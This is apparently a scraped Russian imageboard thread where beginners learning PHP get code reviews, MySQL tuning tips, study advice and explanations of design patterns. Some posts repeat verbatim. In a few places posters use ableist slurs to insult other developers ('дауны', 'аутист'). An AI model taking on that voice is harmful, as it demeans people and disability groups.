Мартин Фаулер в своей книге одобряет, а он точно не индус. Наоборот, это у тебя код который никто кроме тебя не разберет. А когда его передадут другому разработчику, он откажется с ним работать и скажет что надо переписать все заново. Я тебе советую начать с главы про ООП в нашем учебнике, решить задачи про Вектор и Кошки-мышки, тогда ты как минимум с объектами и классами научишься работать. Ну и дальше можно за задачу про студентов браться.

>>560964

Там колонки одной таблицы.

>>561003

> Там вот главная беда в том, что ширина у меня постоянная, а левый margin нарастает


обнуляй доходя до последней картинки

>>561081

resetPasswordAction

>>561112

Запости код, попроси подсказку. В этом и суть обучения, для того тред и создан.

>>561116

Зайди туда и посмотри. Там вроде где-то были цифры.

>>561190

да дело не только в этом, дело еще в том что потом в нем никто не сможет разобраться и придется переписывать. И хуже всего если переписывать возьмется аутист который изобретет еще один велосипед. Я этих велосипедов насмотрелся и больше видеть не хочу. Пишите на фреймворках и применяйте стандартные подходы. Никому ваша оригинальность не нужна.

>>561202

Никуда не девать. Ты же его можешь вычислить заново в любой момент.

>>561211

> Анон, что не так?


Код не дописан. У тебя только 2 варианта: выпали даблы или не выпали. А надо проверять такие варианты:

- выпали даблы
- у робота больше очков
- у робота меньше
- ничья

Соответственно нужен if /elseif/ else из 4 блоков.

>>561220

Не знаю.

>>561222

Все возможно.

>>561232

Ищут способного джуниора, которого будут бросать на разные задачи в зависимости от скиллов. Чем скиллов больше тем выше шанс что возьмут.

> Разработка на языках Java или PHP веб-проектов различной сложности и поддержка существующих.


Для начала наверно будет поддердка существующих. Скорее всего это студия у которой куча сайтов и по которым нужны доработки.

>>561246

А ты думаешь зарплату платят просто за красивые глаза? Или за какие-то приносящие коммерческую пользу навыки?

>>561250

Справедливости ради, научиться обжимать можно за 10 минут. Я дома, когда разъем отвалился, смог обжать даже без инструмента.

>>561308

Сделать облегающий див инлайн-блоком и правильно прописать на изображении стили. Алсо твой подход дурацкий.

У тебя если увеличивать масштаб на странице, картинка останется прежнего размера. Так сейчас делают некоторые западные сайты, например сайт скайпа (ну на западе всегда с версткой и дизайном было плохо, сколько я помню). Я каждый раз удивляюсь каких даунов там понабирали в качестве верстальщиков, эти дебилы услшали где-то что адаптивность это модно но в чем ее суть, не поняли.

Еще дебилов понабирали в твиттер, у них картинка при клике на твит открывается в крошечном окне, если там документ с текстом, ничего не прочесть. Ну ведь дауны, пишут кривую поделку на скале, и эти дауны получают многомиллионные инвестиции, стотысячные зарплаты и опционы, а я нет. И в этом суть IT-бизнеса.

>>561348

Тут можно CSS обойтись.

>>561357

Это плохо, так как картинку нельзя увеличить увеличением масштаба.

Ну или как надо сделать чтобы по клику картинка показывалась в исходном размере, и показать что по ней можно кликнуть, с помощью курсора-лупы (на мобильных устройствах сделать кнопку или надпись).

>>561363

В браузерах без поддержки translatе все разъедется.

Но задача про отображение картикни вообще хорошая, можно ее всем вместе порешать. Тут например еще не учтена возможность добавить заголовок и подвал, возможность увеличить картинку по клику.

>>561400

Не знаю, посмотри сколько в аналогичных вакансиях предлагают.

>>561530

Можно, вызывает привыкание.

>>561535

Монго не заработает на «любом слабом» сервере, начнем с этого.
https://github.com/MindiMakridi/RESTFUL/ #323 #562760
>>561542

Покажи код

>>561572

Есть библиотеки, также ворд умеет сохранять в HTML, можно попробовать расковырять вордовский XML.

>>561593

Может быть придется. Там в любом случае COUNT на огромных таблицах неэффективно делать.

> из них как я понимаю 16 мегабайт под индексы.


Нет, key_buffer_size это для MyISAM.

128 - маловато, я бы на твоих данных выделил 300-400. Но с другой стороны это позволяет лучше увидеть узкие места.

Еще можно read_buffer, join_buffer и sort_buffer повысить немного. НО лучше конечно сначала почитать что это за структуры и за что отвечают.

>>561597

Верно

>>561720

> https://github.com/MindiMakridi/RESTFUL/blob/master/createThumb.php#L35


Тут die нет после header. То есть при ошибке выполнение скрипта продолжится. Также, header нельзя делать после echo, все заголовки должны идти до вывода хоть одного символа.

> https://github.com/MindiMakridi/RESTFUL/blob/master/createThumb.php#L21


Тут зачем 2 раза preg_match? Плюс, может быть такое что первый preg_match сработает, а второй нет, так что лучше оставить только второй (поставив его внутри if)

> https://github.com/MindiMakridi/RESTFUL/blob/master/index.php#L11


> if ($size[2] >= 1 && $size[3] <= 3) {


Во-первых если файл не картинка, $size будет равно false, и не будет содержать массив. Во-вторых, что это за сравнение $size[2] >= 1 ? Там под индексом 2 идет константа указывающая на тип изображения, и ее нельзя сравнивать с числом. Это надо переписать нормально.

Плюс, мне трудно понять что такое $size[2]. надо вынести это в переменную с понятным именем, например

$format = $size[2];
...

> $size[3] <= 3


что это сравнение делает? Это явно ошибка, из-за того что код не очень понятен, ты ее не заметил.

> https://github.com/MindiMakridi/RESTFUL/blob/master/lib/PreviewGenerationException.php#L4


Имя метода должно начинаться с глагола, сделайЧтоТо, например getErrorMessage

> https://github.com/MindiMakridi/RESTFUL/blob/master/lib/Thumbnail.php#L31


> $this->imageSize = getimagesize($this->srcImagePath);


Что-то я не вижу в списке полей класса поля imageSize.

> https://github.com/MindiMakridi/RESTFUL/blob/master/lib/Thumbnail.php#L23


> $this->thumbPath = ltrim($url, "/");


Ты хранишь относительный путь (вида some/image.png). Это ненадежно. Относительно какой папки он высчитывается? Надо определять путь к корню сайта, например через _ _ DIR _ _ в createImage.php и передавать в конструктор отдельно. И в функции работы с файлами передавать полные пути.

> https://github.com/MindiMakridi/RESTFUL/blob/master/lib/Thumbnail.php#L36


> $this->extension = $this->getExtension();


Нет смысла хранить extension в поле так как мы всегда можем вызвать метод и получить его.

Аналогично можно избавиться от полей $this->thumbPath (оно вычисляется зная параметры превьюшки), $this->srcImagePath, $this->mime, $this->imgFunc, $this->imgCreateFunc.

То есть мы храним в полях полученные из URL параметры превьюшки (размер, тип, имя файла), путь к корню сайта, и imageSize (который стоит разбить на несколько отдельных полей, потому что imageSize[2] это очень непонятно, что именно тут значит 2. Надо хранить это в поле вроде $sourceImageFormat).

А все остальное, что можно вычислить без обращений к диску, мы не храним, а получаем через методы.

> https://github.com/MindiMakridi/RESTFUL/blob/master/createThumb.php#L38


> $thumb->showThumbnail();


Это стоит тоже внести внутрь try.
https://github.com/MindiMakridi/RESTFUL/ #323 #562760
>>561542

Покажи код

>>561572

Есть библиотеки, также ворд умеет сохранять в HTML, можно попробовать расковырять вордовский XML.

>>561593

Может быть придется. Там в любом случае COUNT на огромных таблицах неэффективно делать.

> из них как я понимаю 16 мегабайт под индексы.


Нет, key_buffer_size это для MyISAM.

128 - маловато, я бы на твоих данных выделил 300-400. Но с другой стороны это позволяет лучше увидеть узкие места.

Еще можно read_buffer, join_buffer и sort_buffer повысить немного. НО лучше конечно сначала почитать что это за структуры и за что отвечают.

>>561597

Верно

>>561720

> https://github.com/MindiMakridi/RESTFUL/blob/master/createThumb.php#L35


Тут die нет после header. То есть при ошибке выполнение скрипта продолжится. Также, header нельзя делать после echo, все заголовки должны идти до вывода хоть одного символа.

> https://github.com/MindiMakridi/RESTFUL/blob/master/createThumb.php#L21


Тут зачем 2 раза preg_match? Плюс, может быть такое что первый preg_match сработает, а второй нет, так что лучше оставить только второй (поставив его внутри if)

> https://github.com/MindiMakridi/RESTFUL/blob/master/index.php#L11


> if ($size[2] >= 1 && $size[3] <= 3) {


Во-первых если файл не картинка, $size будет равно false, и не будет содержать массив. Во-вторых, что это за сравнение $size[2] >= 1 ? Там под индексом 2 идет константа указывающая на тип изображения, и ее нельзя сравнивать с числом. Это надо переписать нормально.

Плюс, мне трудно понять что такое $size[2]. надо вынести это в переменную с понятным именем, например

$format = $size[2];
...

> $size[3] <= 3


что это сравнение делает? Это явно ошибка, из-за того что код не очень понятен, ты ее не заметил.

> https://github.com/MindiMakridi/RESTFUL/blob/master/lib/PreviewGenerationException.php#L4


Имя метода должно начинаться с глагола, сделайЧтоТо, например getErrorMessage

> https://github.com/MindiMakridi/RESTFUL/blob/master/lib/Thumbnail.php#L31


> $this->imageSize = getimagesize($this->srcImagePath);


Что-то я не вижу в списке полей класса поля imageSize.

> https://github.com/MindiMakridi/RESTFUL/blob/master/lib/Thumbnail.php#L23


> $this->thumbPath = ltrim($url, "/");


Ты хранишь относительный путь (вида some/image.png). Это ненадежно. Относительно какой папки он высчитывается? Надо определять путь к корню сайта, например через _ _ DIR _ _ в createImage.php и передавать в конструктор отдельно. И в функции работы с файлами передавать полные пути.

> https://github.com/MindiMakridi/RESTFUL/blob/master/lib/Thumbnail.php#L36


> $this->extension = $this->getExtension();


Нет смысла хранить extension в поле так как мы всегда можем вызвать метод и получить его.

Аналогично можно избавиться от полей $this->thumbPath (оно вычисляется зная параметры превьюшки), $this->srcImagePath, $this->mime, $this->imgFunc, $this->imgCreateFunc.

То есть мы храним в полях полученные из URL параметры превьюшки (размер, тип, имя файла), путь к корню сайта, и imageSize (который стоит разбить на несколько отдельных полей, потому что imageSize[2] это очень непонятно, что именно тут значит 2. Надо хранить это в поле вроде $sourceImageFormat).

А все остальное, что можно вычислить без обращений к диску, мы не храним, а получаем через методы.

> https://github.com/MindiMakridi/RESTFUL/blob/master/createThumb.php#L38


> $thumb->showThumbnail();


Это стоит тоже внести внутрь try.
#324 #562761
>>561799

Ты по моему не понимаешь этот паттерн. Никаких массивов там нет. Вот тут например http://design-pattern.ru/patterns/front-controller.html я их не вижу.

Я еще хочу предупредить, паттерны изучать должны те, у кого есть опыт работы с ООП приложениями, кто знаком с фреймворками. Если ты не знаком, то ты ничего не поймешь и заучивать их бесполезно. Паттерны сами по себе не выучишь, пока не столкнешься с ситуациями где они нужны.

>>562017

> но обнаружил, что по сути написал тупую обёртку к той же preg_replace_callback


Пусть, почему нет. Вроде объем кода чуть поменьше стал в итоге?

> Единственное что можно было с текстом как с глобальной переменной работать,


Нет, глобальные переменые зло, лучше когда результат функции зависит только от переданных в нее явно значений.

> В итоге вернулся к копипасту 3 раза как тут


Ну ладно.

> if (ctype_upper($symbol)){ //почему-то не работает


ctype не работает с utf-8 и соответственно с кириллицей.

В общем, эта задача решена.

> 2) Задача на автозамену


Ок, верно.

> 3) Задача на поиск e-mail


> ([a-z]+){1}


А зачем {1}?

> \\b\\s


Не сработает если после email стоит запятая, закр. скобка, конец текста. Конец текста можно впрочем обнаружить условием (\\s|\\Z) но я думаю, тут нужно более надежное правило. Может быть, оставить только \\b.

> хотя вообще в e-mail может быть русский


да, но к нашему счастью не все почтовые программы и сервисы поддержат такие адреса. Вот что гуглится:

http://habrahabr.ru/company/yandex/blog/109278/
https://tjournal.ru/p/gmail-eai

Также, в URL по моему не допускается смешивание букв разных алфавитов, то есть доменное имя должно использовать буквы одного алфавита. Иначе возможно мошенничество с регистрацией похожих на оригинальный доменов где 1-2 буквы заменены на русские.

Также, у тебя почему-то в списке найденных email пустые строки. Разберись, почему.

>>562019

Учебный проект. Но специально для собеседования наверно делать его не стоит. Также, может там просто ищут людей с опытом которым есть что показать? Или просто не знают как выбрать подходящего и боятся.

>>562051

нет. Если ты запускаешь PHP из командной строки то можно наверно опций -d наставить, но ты ведь не разберешься.

>>562057

У Танненбаума есть большой вузовский учебник по сетям, а есть его упрощенная версия. Ох помню нас мучали этими уровнями OSI, но признаю что это был в общем интересный и полезный курс, хотя все пришлось изучать самому.

>>562199

> собственно PHP


А посмотри учебник из Оп-поста, можно несколько простых первых глав пропустить если ты их знаешь. Ну или может тебе официальный мануал PHP понравится.

Также, сайт phptherightway.

> PHP при взаимодействии с базой данных


Читай про PDO, затем наш урок по паттернам работы с БД: https://github.com/codedokode/pasta/blob/master/db/patterns-oop.md

> И так, с SQL я не знаком


А посмотри задачки по SQL из Оп-поста, там есть ссылка на туториал для начинающих

> AJAX- то же, что и выше, но при взаимодействии с AJAX


Сначала надо изучить основы протокола HTTP, затем JS, затем только AJAX.

Также, посомтри, у нас есть задание про студентов, оно наверно похоже на твое и там даны подробные комментарии по реализации: https://github.com/codedokode/pasta/blob/master/student-list.md

>>562200

Напиши/покажи что именно ты дописал в своем коде. Ты все точно как в статье делал?

>>562201

Сборки дрянь, особенно для начинающих. Лучше поставить самому все и не мучаться если что-то не заработает.

> Ну да, скайпиком не попользуешьс


В настройках порты 80 и 443 достаточно отключить

>>562263

Чтобы делать приложения на заказ надо хорошо знать PHP и другие технологии из ОП поста, ООП, MVC, фреймворки. В твоем режиме изучать это месяцев 6-8 с полного нуля. Если что-то знаешь, может быть на месяц-два-три меньше.

Сайт, который ты упомянул, простой и наверно не потребует столько времени.
#324 #562761
>>561799

Ты по моему не понимаешь этот паттерн. Никаких массивов там нет. Вот тут например http://design-pattern.ru/patterns/front-controller.html я их не вижу.

Я еще хочу предупредить, паттерны изучать должны те, у кого есть опыт работы с ООП приложениями, кто знаком с фреймворками. Если ты не знаком, то ты ничего не поймешь и заучивать их бесполезно. Паттерны сами по себе не выучишь, пока не столкнешься с ситуациями где они нужны.

>>562017

> но обнаружил, что по сути написал тупую обёртку к той же preg_replace_callback


Пусть, почему нет. Вроде объем кода чуть поменьше стал в итоге?

> Единственное что можно было с текстом как с глобальной переменной работать,


Нет, глобальные переменые зло, лучше когда результат функции зависит только от переданных в нее явно значений.

> В итоге вернулся к копипасту 3 раза как тут


Ну ладно.

> if (ctype_upper($symbol)){ //почему-то не работает


ctype не работает с utf-8 и соответственно с кириллицей.

В общем, эта задача решена.

> 2) Задача на автозамену


Ок, верно.

> 3) Задача на поиск e-mail


> ([a-z]+){1}


А зачем {1}?

> \\b\\s


Не сработает если после email стоит запятая, закр. скобка, конец текста. Конец текста можно впрочем обнаружить условием (\\s|\\Z) но я думаю, тут нужно более надежное правило. Может быть, оставить только \\b.

> хотя вообще в e-mail может быть русский


да, но к нашему счастью не все почтовые программы и сервисы поддержат такие адреса. Вот что гуглится:

http://habrahabr.ru/company/yandex/blog/109278/
https://tjournal.ru/p/gmail-eai

Также, в URL по моему не допускается смешивание букв разных алфавитов, то есть доменное имя должно использовать буквы одного алфавита. Иначе возможно мошенничество с регистрацией похожих на оригинальный доменов где 1-2 буквы заменены на русские.

Также, у тебя почему-то в списке найденных email пустые строки. Разберись, почему.

>>562019

Учебный проект. Но специально для собеседования наверно делать его не стоит. Также, может там просто ищут людей с опытом которым есть что показать? Или просто не знают как выбрать подходящего и боятся.

>>562051

нет. Если ты запускаешь PHP из командной строки то можно наверно опций -d наставить, но ты ведь не разберешься.

>>562057

У Танненбаума есть большой вузовский учебник по сетям, а есть его упрощенная версия. Ох помню нас мучали этими уровнями OSI, но признаю что это был в общем интересный и полезный курс, хотя все пришлось изучать самому.

>>562199

> собственно PHP


А посмотри учебник из Оп-поста, можно несколько простых первых глав пропустить если ты их знаешь. Ну или может тебе официальный мануал PHP понравится.

Также, сайт phptherightway.

> PHP при взаимодействии с базой данных


Читай про PDO, затем наш урок по паттернам работы с БД: https://github.com/codedokode/pasta/blob/master/db/patterns-oop.md

> И так, с SQL я не знаком


А посмотри задачки по SQL из Оп-поста, там есть ссылка на туториал для начинающих

> AJAX- то же, что и выше, но при взаимодействии с AJAX


Сначала надо изучить основы протокола HTTP, затем JS, затем только AJAX.

Также, посомтри, у нас есть задание про студентов, оно наверно похоже на твое и там даны подробные комментарии по реализации: https://github.com/codedokode/pasta/blob/master/student-list.md

>>562200

Напиши/покажи что именно ты дописал в своем коде. Ты все точно как в статье делал?

>>562201

Сборки дрянь, особенно для начинающих. Лучше поставить самому все и не мучаться если что-то не заработает.

> Ну да, скайпиком не попользуешьс


В настройках порты 80 и 443 достаточно отключить

>>562263

Чтобы делать приложения на заказ надо хорошо знать PHP и другие технологии из ОП поста, ООП, MVC, фреймворки. В твоем режиме изучать это месяцев 6-8 с полного нуля. Если что-то знаешь, может быть на месяц-два-три меньше.

Сайт, который ты упомянул, простой и наверно не потребует столько времени.
#325 #562762
>>562265

Нет ты иди. Таким тут не рады.

>>562219

Может быть и хватит, не знаю, не уверен что вордпресс лучший инструмент для этого.

>>562049

> поясните ньюфагу за движок


Есть же сервисы определения CMS:

http://www.itrack.ru/whatcms/
https://2ip.ru/cms/
https://www.google.com/search?q=%D0%BE%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5+cms&gbv=1&sei=z_EmVpX8CYKbygPhzqCwDg

Скорее всего самописное что-то или на фреймворке.

>>562327

meta charset поставил? Покажи код

>>562371

> mt_rand(0, count($word1));


В массиве нет элемента с индексом count($word1) - посмотри внимательно, твоя программа должна внизу писать об ошибке.

>>562382

Если программа небольшая то ок, хотя конечно можно и ссылкой на ideone постить.

>>562400

Это он еще не изучал

>>562411

Первый ты верно посчитал, а вот с последним ошибся.
#325 #562762
>>562265

Нет ты иди. Таким тут не рады.

>>562219

Может быть и хватит, не знаю, не уверен что вордпресс лучший инструмент для этого.

>>562049

> поясните ньюфагу за движок


Есть же сервисы определения CMS:

http://www.itrack.ru/whatcms/
https://2ip.ru/cms/
https://www.google.com/search?q=%D0%BE%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5+cms&gbv=1&sei=z_EmVpX8CYKbygPhzqCwDg

Скорее всего самописное что-то или на фреймворке.

>>562327

meta charset поставил? Покажи код

>>562371

> mt_rand(0, count($word1));


В массиве нет элемента с индексом count($word1) - посмотри внимательно, твоя программа должна внизу писать об ошибке.

>>562382

Если программа небольшая то ок, хотя конечно можно и ссылкой на ideone постить.

>>562400

Это он еще не изучал

>>562411

Первый ты верно посчитал, а вот с последним ошибся.
#326 #562763
>>562413

> что не так


все не так: вывод HTMl через echo, смешивание HTML и логики, лишний DISTINCT

Также учти что ORDER BY RAND() это очень неэффективно.

>>562522

Что-то в композере сломано, покажи свой composer.json, и попробуй обновить композер (composer --self-update)

Алсо тут у кого-то та же ошибка: https://github.com/yiisoft/yii2/issues/9794

>>562657

Ты не написал в каком режиме ты работаешь с АПИ, с клиента/сервера, какой способ авторизации используется.

>>562696

Из кода не очевидно?

- трехэтажные массивы в POST
- нет isset для POST
- 5 уровней вложенности кода
- длинная простыня кода
- какие-то непонятные коды которые не определены как константы и которые непонятно что значат и откуда берутся
- isset по отношению к переменным
- массивы везде, больше массивов богу массивов
- имена переменных должны писаться с маленькой буквы
- пароли не солятся, легко взламываются (урок https://gist.github.com/codedokode/9576319 )
- велосипед, не используются фреймворки

В общем, тут надо переучиваться.

>>562705

Не надо давать вредных советов.

>>562706

Паттерны применимы к любому языку.

>>562710

Нужен Sublime text 3, а лучше профессиональная IDE вроде Netbeans (бесплатно), PhpStorm (платно).

Чтобы запускать код в консоли, достаточно установить PHP: https://gist.github.com/codedokode/7054af4a03865c4cc863
Чтобы в браузере, нужен еще Апач: https://gist.github.com/codedokode/10774100
#326 #562763
>>562413

> что не так


все не так: вывод HTMl через echo, смешивание HTML и логики, лишний DISTINCT

Также учти что ORDER BY RAND() это очень неэффективно.

>>562522

Что-то в композере сломано, покажи свой composer.json, и попробуй обновить композер (composer --self-update)

Алсо тут у кого-то та же ошибка: https://github.com/yiisoft/yii2/issues/9794

>>562657

Ты не написал в каком режиме ты работаешь с АПИ, с клиента/сервера, какой способ авторизации используется.

>>562696

Из кода не очевидно?

- трехэтажные массивы в POST
- нет isset для POST
- 5 уровней вложенности кода
- длинная простыня кода
- какие-то непонятные коды которые не определены как константы и которые непонятно что значат и откуда берутся
- isset по отношению к переменным
- массивы везде, больше массивов богу массивов
- имена переменных должны писаться с маленькой буквы
- пароли не солятся, легко взламываются (урок https://gist.github.com/codedokode/9576319 )
- велосипед, не используются фреймворки

В общем, тут надо переучиваться.

>>562705

Не надо давать вредных советов.

>>562706

Паттерны применимы к любому языку.

>>562710

Нужен Sublime text 3, а лучше профессиональная IDE вроде Netbeans (бесплатно), PhpStorm (платно).

Чтобы запускать код в консоли, достаточно установить PHP: https://gist.github.com/codedokode/7054af4a03865c4cc863
Чтобы в браузере, нужен еще Апач: https://gist.github.com/codedokode/10774100
#327 #562764
Оп не обращает на вас внимания и не ответил на вопрос? Не стойте в сторонке потупив глазки, а напомните о себе.

>>562720

Почитай определения, например https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D1%80%D0%BE%D0%B6%D0%B4%D0%B0%D1%8E%D1%89%D0%B8%D0%B5_%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD%D1%8B_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F

Вообще паттерны изучать нет особого смысла если ты не сталкивался с ситуациями где они нужны, так как они в этом случае для тебя выглядят абстрактно и непонятно.

> К порождающим Application Controller


Нет, создавать объекты не главная его задача.
#328 #562766
>>562763
В чем мой совет неправильный? От трехытажных ифов как раз спасают нормальные классы.
#329 #562768
>>562766

Нет, твой совет неконструктивный. Что значит «отдельный класс для проверки пароля, отдельный для хеширования»? Для этого достаточно сделать отдельные методы, и метод для хеширования у него уже есть.
#330 #562769
>>562764
Чем тогда структурные паттерны отличаются от порождающих, если в обоих используется наследование и внутри создаются объекты?
#331 #562770
>>562769

Давай попробуем найти отличия. Найди определение и по паре примеров паттернов каждого вида, и напиши тут, а потом посмотрим и будем искать различия.
#332 #562773
>>562768
Проверка пароля должна быть в классе проверки пароля же. Вдруг у него еще какой-нибудь пароль будет, который надо будет проверить, да и написание кода в контроллере это сократит.
#333 #562774
>>558914
>>558912
>>558910
Пользуюсь vim, нассал вам всем в пукан.
#334 #562775
>>558058 (OP)
Структурные:

class CPU
{
public function freeze() { / ... / }
public function jump( $position ) { / ... / }
public function execute() { / ... / }

}

class Memory
{
public function load( $position, $data ) { / ... / }
}

class HardDrive
{
public function read( $lba, $size ) { / ... / }
}

/ Фасад /
class Computer
{
protected $cpu;
protected $memory;
protected $hardDrive;

public function __construct()
{
$this->cpu = new CPU();
$this->memory = new Memory();
$this->hardDrive = new HardDrive();
}

public function startComputer()
{
$this->cpu->freeze();
$this->memory->load( BOOT_ADDRESS, $this->hardDrive->read( BOOT_SECTOR, SECTOR_SIZE ) );
$this->cpu->jump( BOOT_ADDRESS );
$this->cpu->execute();
}
}

/ Клиентская часть /
$facade = new Computer();
$facade->startComputer();

abstract class AbstractComponent
{
abstract public function operation();
}

class ConcreteComponent extends AbstractComponent
{
public function operation()
{
// ...
}
}

abstract class AbstractDecorator extends AbstractComponent
{
protected $component;

public function __construct(AbstractComponent $component)
{
$this->component = $component;
}
}

class ConcreteDecorator extends AbstractDecorator
{
public function operation()
{
// ... расширенная функциональность ...
$this->component->operation();
// ... расширенная функциональность ...
}
}

$decoratedComponent = new ConcreteDecorator(
new ConcreteComponent()
);

$decoratedComponent->operation();

Порождающие:

abstract class Terrain {}

abstract class Sea extends Terrain {}
class EarthSea extends Sea {}
class MarsSea extends Sea {}
class VenusSea extends Sea {}

abstract class Plains extends Terrain {}
class EarthPlains extends Plains {}
class MarsPlains extends Plains {}
class VenusPlains extends Plains {}

abstract class Forest extends Terrain {}
class EarthForest extends Forest {}
class MarsForest extends Forest {}
class VenusForest extends Forest {}

/
Определение логики фабрики прототипов
/
class TerrainFactory {
private $sea;
private $forest;
private $plains;

public function __construct( Sea $sea, Plains $plains, Forest $forest ) {
$this->sea = $sea;
$this->plains = $plains;
$this->forest = $forest;
}
function getSea( ) {
return clone $this->sea;
}
function getPlains( ) {
return clone $this->plains;
}
function getForest( ) {
return clone $this->forest;
}
}

/

Создание фабрики с заданными параметрами прототипа
/
$prototypeFactory = new TerrainFactory(
new EarthSea(),
new MarsPlains(),
new VenusForest()
);

/
Создание заданных объектов путём клонирования
/
$sea = $prototypeFactory->getSea();
$plains = $prototypeFactory->getPlains();
$forest = $prototypeFactory->getForest();

abstract class ComsManager {
const APPT = 1;
const TTD = 2;
const CONTACT = 3;
abstract function getHeaderText();
abstract function make($flag_int);
abstract function getFooterText();
}
class BloggsCommsManager extends CommsManager {
function getHeaderText(){
return "BloggsCal upper colontyl<br>";
}
function make($flag_int){
switch($flag_int){
case self::APPT:
return new BloggsAppEncoder();
case self::CONTACT:
return new BloggsContactEncoder();
case self::TTD:
return new BloggsTtdEncoder();
}
}
function getFooterText(){
return "BloggsCal bottom colontyl";
}
}

Разницу вижу только в том, что у порождающих больше вложенность объектов.
#334 #562775
>>558058 (OP)
Структурные:

class CPU
{
public function freeze() { / ... / }
public function jump( $position ) { / ... / }
public function execute() { / ... / }

}

class Memory
{
public function load( $position, $data ) { / ... / }
}

class HardDrive
{
public function read( $lba, $size ) { / ... / }
}

/ Фасад /
class Computer
{
protected $cpu;
protected $memory;
protected $hardDrive;

public function __construct()
{
$this->cpu = new CPU();
$this->memory = new Memory();
$this->hardDrive = new HardDrive();
}

public function startComputer()
{
$this->cpu->freeze();
$this->memory->load( BOOT_ADDRESS, $this->hardDrive->read( BOOT_SECTOR, SECTOR_SIZE ) );
$this->cpu->jump( BOOT_ADDRESS );
$this->cpu->execute();
}
}

/ Клиентская часть /
$facade = new Computer();
$facade->startComputer();

abstract class AbstractComponent
{
abstract public function operation();
}

class ConcreteComponent extends AbstractComponent
{
public function operation()
{
// ...
}
}

abstract class AbstractDecorator extends AbstractComponent
{
protected $component;

public function __construct(AbstractComponent $component)
{
$this->component = $component;
}
}

class ConcreteDecorator extends AbstractDecorator
{
public function operation()
{
// ... расширенная функциональность ...
$this->component->operation();
// ... расширенная функциональность ...
}
}

$decoratedComponent = new ConcreteDecorator(
new ConcreteComponent()
);

$decoratedComponent->operation();

Порождающие:

abstract class Terrain {}

abstract class Sea extends Terrain {}
class EarthSea extends Sea {}
class MarsSea extends Sea {}
class VenusSea extends Sea {}

abstract class Plains extends Terrain {}
class EarthPlains extends Plains {}
class MarsPlains extends Plains {}
class VenusPlains extends Plains {}

abstract class Forest extends Terrain {}
class EarthForest extends Forest {}
class MarsForest extends Forest {}
class VenusForest extends Forest {}

/
Определение логики фабрики прототипов
/
class TerrainFactory {
private $sea;
private $forest;
private $plains;

public function __construct( Sea $sea, Plains $plains, Forest $forest ) {
$this->sea = $sea;
$this->plains = $plains;
$this->forest = $forest;
}
function getSea( ) {
return clone $this->sea;
}
function getPlains( ) {
return clone $this->plains;
}
function getForest( ) {
return clone $this->forest;
}
}

/

Создание фабрики с заданными параметрами прототипа
/
$prototypeFactory = new TerrainFactory(
new EarthSea(),
new MarsPlains(),
new VenusForest()
);

/
Создание заданных объектов путём клонирования
/
$sea = $prototypeFactory->getSea();
$plains = $prototypeFactory->getPlains();
$forest = $prototypeFactory->getForest();

abstract class ComsManager {
const APPT = 1;
const TTD = 2;
const CONTACT = 3;
abstract function getHeaderText();
abstract function make($flag_int);
abstract function getFooterText();
}
class BloggsCommsManager extends CommsManager {
function getHeaderText(){
return "BloggsCal upper colontyl<br>";
}
function make($flag_int){
switch($flag_int){
case self::APPT:
return new BloggsAppEncoder();
case self::CONTACT:
return new BloggsContactEncoder();
case self::TTD:
return new BloggsTtdEncoder();
}
}
function getFooterText(){
return "BloggsCal bottom colontyl";
}
}

Разницу вижу только в том, что у порождающих больше вложенность объектов.
#335 #562776
>>562775
т.е. наоборот у структурных.
#336 #562777
>>562775

Я просил еще определение написать.
#337 #562778
>>562775

По коду:

- понятнее будет есть фабрика будет создавать объекты через new, а не клонировать. Это же фабрика по созданию объектов а не по производству клонов.

- в классе Computer лучше будет убрать new из конструктора и передавать составляющие явно

- не очень понятно что значит ComsManager, что такое coms?

- не очень понятно, а зачем ты наследуешь класс от абстрактного когда можно сразу написать нужный функционал
#338 #562782
>>562778
код из вики, бозе.
Короче, структурные просто делают класс, содержащий все свойства родителей, а порождающий создает новые объекты классов внутри себя. Так и буду говорить.
#339 #562794
>>562782

Нет. Разница там в назначении класса, какую роль он играет. Выпиши определения хотя бы из википедии и сравни.

Ты смотришь слишком близоруко. Ты делаешь выводы по примерам кода, а надо читать определения и смотреть на то, для чего эти паттерны сделаны.
#340 #562813
>>560050

>> А как посчитать одновременно расстояние по вертикали и горизонтали?


>расстояние по горизонтали между 2 клеточками это же просто abs(x1 - x2), аналогично по вертикали.


Аааа, в смысле ты предлагаешь просто сложить расстояние по вертикали и горизонтали?
abs(x1 - x2) + abs(y1 - y2)

>>560050

>> А как тогда намекнуть что поле symbol нужно переопределить? Добавить его в конструктор подойдет?


>Надо сделать абстрактный метод getSymbol. Тогда его точно не забудешь определить.


Странно. Если программист забудет определить поле $symbol, то после определения метода getSymbol он получит ошибку. Это и есть "намек" на то что его нужно переопределить?

>>560050

>- в PHP есть констркции вроде continue 2/break 2 для выпрыгивания из вложенного цикла ( не стоит использовать, читабьельность страдает)


Блин а я читал об этом на php.net, я просто не правильно понял это:

>5.4.0\tcontinue 0; больше не допускается. В предыдущих версиях это воспринималось точно также как и continue 1;.



Подумал что числовые значения он вообще не принимает.
#341 #562815
Начал изучать PHP и столкнулся с такой проблемой: пхп код не выполняется , в файлах с раширением ПХП. Есть какой нибудь более менее понятный гайд как поставить себе сервер, что бы тестить код ?
#342 #562833
>>562794
Структурные составляют композиции из интерфейсов и реализаций, а порождающие реализуют процесс наследования. Алри, так и буду говорить, хотя это мне мало о чем на практике говорит. может просто вызубрить все паттерны?
9 Кб, 217x232
#343 #562834
One day I'll finnish those patterns
#344 #562836
>>562833

Ты занимаешься глупостью (я уже по моему 3-й раз пишу). Если ты не сталкивался с примерами применения этих паттернов или случаями где их можно применить, то ты их вряд ли поймешь.

Плюс, чтобы понимать паттерны, надо понимать ООП не на уровне «как объявить класс», а с пониманием его особенностей.

Если работодатель требует паттерны на собеседовании, выучи пару безсполезных вроде Singleton и Registry, только не вздумай их применять в коде.
#345 #562838
>>562833

Вот выше ты накопипастил код паттерна фабрика, а зачем он нужен? зачем городить такие сложные конструкции и какие-то абстрактные фабрики когда объект можно создать через

$x = new X()

?
#346 #562840
>>562838
А я знаю!

другой анон
329 Кб, 640x480
#347 #562845
